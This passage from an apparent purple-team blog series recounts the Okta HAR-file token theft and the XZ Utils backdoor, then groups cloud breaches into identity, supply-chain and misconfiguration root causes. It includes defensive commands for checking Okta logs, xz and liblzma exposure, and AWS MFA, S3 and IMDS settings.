In October 2023, Okta disclosed that an attacker had accessed their customer support case management system using stolen credentials. The attacker used that access to view HTTP Archive (HAR) files that customers had uploaded as part of support tickets. HAR files capture all network traffic in a browser session — including session cookies and authentication tokens.

What the attacker retrieved from HAR files:
– Active session tokens for customer Okta admin accounts
– Enough data to authenticate as Okta admins for affected customers

Confirmed affected customers (that disclosed publicly):
– 1Password (detected and contained quickly)
– Cloudflare
– BeyondTrust

The dwell time: Okta’s later forensic analysis revealed the attacker had access for two weeks before the disclosure.

# Check Okta System Log for suspicious admin activity
# Look for admin authentications from unusual IPs or at unusual times
curl -H "Authorization: SSWS ${OKTA_API_TOKEN}" \
  "https://your-org.okta.com/api/v1/logs?filter=eventType+eq+\"user.session.start\"+and+actor.type+eq+\"User\"&since=$(date -d '30 days ago' --iso-8601=seconds)" | \
  jq '.[] | {user: .actor.displayName, ip: .client.ipAddress, time: .published, result: .outcome.result}'

The structural implication for organizations using Okta: Tier-0 accounts (Okta administrators) need break-glass procedures and hardware key MFA — not because Okta itself will be compromised, but because a support system compromise at a SaaS provider can expose session context that reaches those accounts.

April 2024: XZ Utils — Two Years of Social Engineering

OWASP: A08 (Software and Data Integrity Failures), A06 (Vulnerable and Outdated Components)

XZ Utils (CVE-2024-3094) is the most sophisticated supply chain attack to date in the open-source ecosystem. The attacker operated under the pseudonym “Jia Tan” and spent approximately two years building trust in the XZ Utils project before inserting a backdoor.

The timeline:

2022 Q4 — Jia Tan begins contributing to XZ Utils with legitimate, high-quality patches
2023 Q1 — Jia Tan increases contribution frequency; original maintainer shows signs of burnout
2023 Q2 — Jia Tan gains commit access to XZ Utils
2024 Q1 — Jia Tan releases XZ Utils 5.6.0 and 5.6.1 with backdoor in release tarball
          (NOT in git repository — only in the distributed tarball)
2024 Q2 — Andres Freund (Microsoft engineer, incidentally) notices SSH is 500ms slower
          on systems with xz 5.6.x; investigates; finds backdoor
          Reported April 1, 2024; CVE assigned April 2, 2024

The backdoor’s target: The backdoor patched sshd via systemd on glibc-based Linux systems. On affected systems, it would have given the attacker remote code execution on SSH servers — specifically, authentication bypass for a specific RSA key pair held by the attacker.

What was 1–2 weeks from shipping broadly:
– Fedora 40 (test release only — caught before stable)
– Debian unstable/testing
– openSUSE Tumbleweed

The detection insight: The backdoor was in the release tarball, not the git repository. git clone and git diff would not have shown it. The only detection was comparing the distributed tarball’s build output against a reproducible build from source — or noticing the anomalous SSH latency.

# Check if your systems have the affected xz version
xz --version
# Vulnerable: 5.6.0 or 5.6.1

# Check on RPM-based systems
rpm -q xz

# Check on Debian/Ubuntu systems
dpkg -l xz-utils

# Check for sshd linked against compromised libzma
ldd $(which sshd) | grep liblzma
# If libzma is present and xz is 5.6.0 or 5.6.1, the system was exposed

The Three Root Causes: A Framework for Your Exercise Backlog

After analyzing these six incidents (and the broader 2020–2025 breach landscape), three root causes account for virtually every major cloud infrastructure compromise:

┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  ROOT CAUSE 1: IDENTITY                                         │
│  Attacker obtains valid credentials — stolen, phished,          │
│  or socially engineered. MFA does not stop it if MFA            │
│  itself can be bypassed (fatigue, SIM swap, token theft).       │
│  Incidents: Uber, Okta, CircleCI (initial vector)               │
│                                                                 │
│  ROOT CAUSE 2: SUPPLY CHAIN                                     │
│  Attacker compromises something you trust: a vendor's           │
│  software, a build pipeline, an open-source dependency.         │
│  The artifact you install is legitimate — and malicious.        │
│  Incidents: SolarWinds, XZ Utils, Log4Shell (component)         │
│                                                                 │
│  ROOT CAUSE 3: MISCONFIGURATION                                  │
│  An access control is wrong. A resource is exposed that         │
│  shouldn't be. An encryption requirement is missing.            │
│  No attacker capability required — just knowledge of the gap.   │
│  Incidents: Capital One (S3 + IAM), public buckets broadly      │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

Your purple team exercise backlog should cover all three. The remaining episodes in this series address each one:

  • Identity: EP05 (MFA fatigue), EP10 (cross-account lateral movement)
  • Supply chain: EP06 (CI/CD secrets), EP09 (SolarWinds to XZ Utils)
  • Misconfiguration: EP04 (broken access control in AWS), EP07 (SSRF/IMDS), EP08 (container escape)

Run This in Your Own Environment: Breach Scenario Self-Assessment

Before starting the technique-specific episodes, run this self-assessment to identify which breach scenario your environment is most exposed to:

#!/bin/bash
# Purple Team EP03 — Breach Exposure Self-Assessment

echo "=== IDENTITY EXPOSURE ==="
echo "--- Users with console access and no MFA ---"
aws iam generate-credential-report > /dev/null 2>&1 && sleep 3
aws iam get-credential-report --query 'Content' --output text | \
  base64 -d | awk -F',' 'NR>1 && $4=="true" && $8=="false" {print "  NO MFA: " $1}'

echo ""
echo "=== SUPPLY CHAIN EXPOSURE ==="
echo "--- Lambda functions with old runtimes (EOL = higher CVE exposure) ---"
aws lambda list-functions \
  --query 'Functions[?Runtime==`python3.8` || Runtime==`nodejs14.x` || Runtime==`java8`].{Name:FunctionName,Runtime:Runtime}' \
  --output table

echo ""
echo "=== MISCONFIGURATION EXPOSURE ==="
echo "--- S3 buckets without account-level public access block ---"
ACCOUNT=$(aws sts get-caller-identity --query Account --output text)
PAB=$(aws s3control get-public-access-block --account-id "$ACCOUNT" 2>/dev/null)
if [ -z "$PAB" ]; then
  echo "  CRITICAL: Account-level S3 public access block is NOT set"
else
  echo "$PAB" | jq '{BlockPublicAcls, IgnorePublicAcls, BlockPublicPolicy, RestrictPublicBuckets}'
fi

echo ""
echo "--- EC2 instances with IMDSv1 enabled (SSRF risk) ---"
aws ec2 describe-instances \
  --query 'Reservations[].Instances[?MetadataOptions.HttpTokens!=`required`].{ID:InstanceId,State:State.Name}' \
  --output table

⚠ Common Mistakes When Using Breach History as a Training Resource

Assuming “we’re not SolarWinds” means supply chain doesn’t apply. You don’t have to be a software vendor. Your GitHub Actions workflows pull third-party actions. Your Dockerfiles pull base images. Your Lambda functions install pip packages. Every external artifact is a supply chain dependency.

Treating Log4Shell as “old news.” The vulnerability was disclosed in 2021. Organizations are still finding Log4j in unexpected places in 2024 — embedded in monitoring agents, database drivers, and vendor-supplied applications where the dependency tree was never audited.

Responding to Uber/Okta by mandating security awareness training. The Uber breach happened to an experienced contractor who made one decision under social pressure. The structural fix is hardware MFA that cannot be fatigue-attacked — not a training module that adds friction and gets clicked through.

Not correlating your own logs against breach indicators. Every breach in this episode produced specific, searchable indicators: specific CloudTrail event patterns, specific process behaviors, specific network anomalies. If you have historical logs, you can run indicators of compromise against them to see whether your environment would have surfaced those indicators.

Quick Reference

Breach Year OWASP Primary Root Cause Structural Fix
SolarWinds 2020 A08 Supply chain — build pipeline compromise Reproducible builds, build system isolation
Log4Shell 2021 A03, A06 Injection + vulnerable component Patch + dependency inventory
Uber 2022 A07, A02 Identity — MFA fatigue + hardcoded creds Hardware MFA + no hardcoded secrets
CircleCI 2023 A07, A08 Identity — session token theft → CI secret theft OIDC short-lived creds instead of stored secrets
Okta 2023 A07 Identity — support system compromise → token theft Hardware MFA for tier-0, session token rotation
XZ Utils 2024 A08, A06 Supply chain — social engineering → maintainer trust Reproducible builds, artifact signing, SLSA

Key Takeaways

  • Cloud security breaches from 2020 to 2025 cluster into three root causes: identity compromise, supply chain compromise, and misconfiguration — every major incident is one or more of these
  • SolarWinds and XZ Utils are the same attack class: compromise the build pipeline and sign the result with a trusted key
  • Uber demonstrates that MFA does not prevent breach when the MFA mechanism is push-notification — fatigue + social engineering defeats it
  • CircleCI demonstrates that long-lived secrets stored in a CI/CD platform are only as secure as that platform — OIDC short-lived credentials eliminate the exposure
  • Log4Shell demonstrates that vulnerable transitive dependencies are invisible without active dependency scanning — “we didn’t use Log4j” was wrong for thousands of organizations
  • The attack surface does not change: the same three root causes that caused SolarWinds in 2020 caused XZ Utils in 2024
  • Your purple team exercise backlog should include at least one scenario for each of the three root causes

What’s Next

EP04 starts the technique-specific episodes with broken access control in AWS — the most common OWASP A01 manifestation in cloud infrastructure. The exercise scenario: an S3 bucket with 47 million records, public for six months, with no alert ever firing. We simulate it, detect it, and fix the IAM and S3 configuration so it cannot happen in your account. If you want the full context for AWS IAM privilege escalation paths that broken access control enables, the IAM series EP08 covers that attack chain in detail.

Get EP04 in your inbox when it publishes → subscribe at linuxcent.com